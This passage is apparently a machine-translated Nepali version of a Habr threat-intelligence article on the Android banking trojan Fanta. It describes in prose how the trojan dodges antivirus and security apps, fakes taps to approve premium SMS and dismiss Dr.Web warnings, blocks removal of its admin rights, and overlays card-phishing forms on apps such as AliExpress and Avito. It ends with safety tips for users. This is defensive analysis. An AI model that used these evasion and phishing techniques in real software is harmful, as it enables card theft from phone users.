· जब प्रणाली सुरक्षा संवाद बाकस देखिन्छ
· "अन्य एपमा कोर्नुहोस्" सेटिङहरूसँग पृष्ठ खोल्दा
· "अनुप्रयोगहरू" पृष्ठ खोल्दा, "रिकभरी र रिसेट", "डेटा रिसेट", "सेटिङहरू रिसेट गर्नुहोस्", "विकासकर्ता प्यानल", "विशेष। अवसरहरू", "विशेष अवसरहरू", "विशेष अधिकारहरू"
· यदि घटना निश्चित अनुप्रयोगहरू द्वारा उत्पन्न भएको थियो।

आवेदनहरूको सूची
- एन्ड्रोइड
- मास्टर लाइट
- सफा मास्टर
- x86 CPU को लागि सफा मास्टर
- Meizu आवेदन अनुमति व्यवस्थापन
- MIUI सुरक्षा
- क्लीन मास्टर - एन्टिभाइरस र क्यास र गार्बेज क्लीनर
- अभिभावकीय नियन्त्रण र GPS: Kaspersky SafeKids
- Kaspersky एन्टिभाइरस AppLock र वेब सुरक्षा बीटा
- भाइरस क्लीनर, एन्टिभाइरस, क्लीनर (MAX सुरक्षा)
- मोबाइल एन्टिभाइरस सुरक्षा प्रो
- अवास्ट एन्टीवायरस र नि: शुल्क सुरक्षा २०२०
- मोबाइल सुरक्षा मेगाफोन
- Xperia को लागि AVG संरक्षण
- मोबाइल सुरक्षा
- मालवेयरबाइट्स एन्टिभाइरस र संरक्षण
- एन्ड्रोइड २०१९ का लागि एन्टिभाइरस
- सुरक्षा मास्टर - एन्टिभाइरस, VPN, AppLock, बूस्टर
- Huawei ट्याब्लेट प्रणाली प्रबन्धकको लागि AVG एन्टिभाइरस
- सैमसंग पहुँच
- सैमसंग स्मार्ट प्रबन्धक
- सुरक्षा मास्टर
- स्पीड बूस्टर
- डा। वेब
- डा। वेब सुरक्षा स्थान
- Dr.Web मोबाइल नियन्त्रण केन्द्र
- Dr.Web सुरक्षा स्पेस लाइफ
- Dr.Web मोबाइल नियन्त्रण केन्द्र
- एन्टिभाइरस र मोबाइल सुरक्षा
- Kaspersky इन्टरनेट सुरक्षा: एन्टिभाइरस र सुरक्षा
- क्यास्परस्की ब्याट्री लाइफ: सेभर र बूस्टर
- Kaspersky Endpoint सुरक्षा - सुरक्षा र व्यवस्थापन
- AVG एन्टिभाइरस नि: शुल्क 2019 - एन्ड्रोइडको लागि सुरक्षा
- एन्टिभाइरस एन्ड्रोइड
- Norton मोबाइल सुरक्षा र एन्टिभाइरस
- एन्टिभाइरस, फायरवाल, VPN, मोबाइल सुरक्षा
- मोबाइल सुरक्षा: एन्टिभाइरस, VPN, चोरी सुरक्षा
- एन्ड्रोइडका लागि एन्टिभाइरस
यदि छोटो नम्बरमा एसएमएस सन्देश पठाउँदा अनुमति अनुरोध गरिएको छ भने, फ्यान्टाले चेकबक्समा क्लिक गरेर सिमुलेट गर्छ। छनोट सम्झनुहोस् र बटन पठाउन.
जब तपाइँ ट्रोजनबाट प्रशासक अधिकारहरू हटाउन प्रयास गर्नुहुन्छ, यसले फोन स्क्रिन लक गर्दछ।
नयाँ प्रशासकहरू थप्न रोक्छ।
यदि एन्टिभाइरस अनुप्रयोग dr.web खतरा पत्ता लाग्यो, फ्यान्टाले बटन थिचेर नक्कल गर्छ बेवास्ता गर्नुहोस्.
ट्रोजनले पछाडि र गृह बटन थिचेर अनुकरण गर्दछ यदि घटना अनुप्रयोगद्वारा उत्पन्न भएको थियो सैमसंग उपकरण हेरचाह.
फ्यान्टाले बैंक कार्डहरूको बारेमा जानकारी प्रविष्ट गर्नका लागि फारमहरू सहित फिसिङ विन्डोहरू सिर्जना गर्दछ यदि लगभग 30 विभिन्न इन्टरनेट सेवाहरूको सूचीबाट एउटा अनुप्रयोग सुरु गरिएको थियो। ती मध्ये: AliExpress, बुकिंग, Avito, Google Play Market Component, Pandao, Drom Auto, आदि।

फिसिङ फारमहरू

फ्यान्टाले संक्रमित यन्त्रमा कुन-कुन अनुप्रयोगहरू चलिरहेका छन् भनी विश्लेषण गर्दछ। यदि चासोको आवेदन खोलिएको थियो भने, ट्रोजनले अन्य सबैको माथि फिसिङ विन्डो देखाउँछ, जुन बैंक कार्ड जानकारी प्रविष्ट गर्ने फारम हो। प्रयोगकर्ताले निम्न डेटा प्रविष्ट गर्नुपर्छ:
- कार्ड नम्बर
- कार्डको म्याद सकिने मिति
- CVV
- कार्डधारकको नाम (सबै बैंकहरूको लागि होइन)
चलिरहेको अनुप्रयोगमा निर्भर गर्दै, विभिन्न फिसिङ विन्डोहरू प्रदर्शित हुनेछन्। तल तिनीहरूमध्ये केही उदाहरणहरू छन्:

Aliexpress:

एभिटो:

केही अन्य अनुप्रयोगहरूको लागि, उदाहरणका लागि Google Play Market, Aviasales, Pandao, Booking, Trivago:

यो साँच्चै कस्तो थियो

सौभाग्यवश, लेखको सुरुमा वर्णन गरिएको एसएमएस सन्देश प्राप्त गर्ने व्यक्ति साइबर सुरक्षा विशेषज्ञ बने। त्यसकारण, वास्तविक, गैर-निर्देशकको संस्करण पहिले भनिएको भन्दा फरक छ: एक व्यक्तिले एक रोचक एसएमएस प्राप्त गर्यो, जस पछि उसले समूह-आईबी खतरा शिकार खुफिया टोलीलाई दियो। आक्रमणको परिणाम यो लेख हो। सुखद अन्त्य, हैन? यद्यपि, सबै कथाहरू यति सफलतापूर्वक समाप्त हुँदैनन्, र तपाईंको पैसाको हानिको साथ निर्देशकको कट जस्तो देखिदैन, धेरै जसो केसहरूमा निम्न लामो-वर्णन गरिएका नियमहरू पालना गर्न पर्याप्त छ:
- गुगल प्ले बाहेक अन्य कुनै पनि स्रोतबाट एन्ड्रोइड ओएस भएको मोबाइल उपकरणको लागि अनुप्रयोगहरू स्थापना नगर्नुहोस्
- एप्लिकेसन इन्स्टल गर्दा, एप्लिकेसनले अनुरोध गरेको अधिकारहरूमा विशेष ध्यान दिनुहोस्
- डाउनलोड गरिएका फाइलहरूको विस्तारहरूमा ध्यान दिनुहोस्
- नियमित रूपमा Android OS अद्यावधिकहरू स्थापना गर्नुहोस्
- शंकास्पद स्रोतहरूमा नजानुहोस् र त्यहाँबाट फाइलहरू डाउनलोड नगर्नुहोस्
- SMS सन्देशहरूमा प्राप्त लिङ्कहरूमा क्लिक नगर्नुहोस्।

स्रोत: www.habr.com

Leysya, Fanta: पुरानो एन्ड्रोइड ट्रोजन को लागी एक नयाँ रणनीति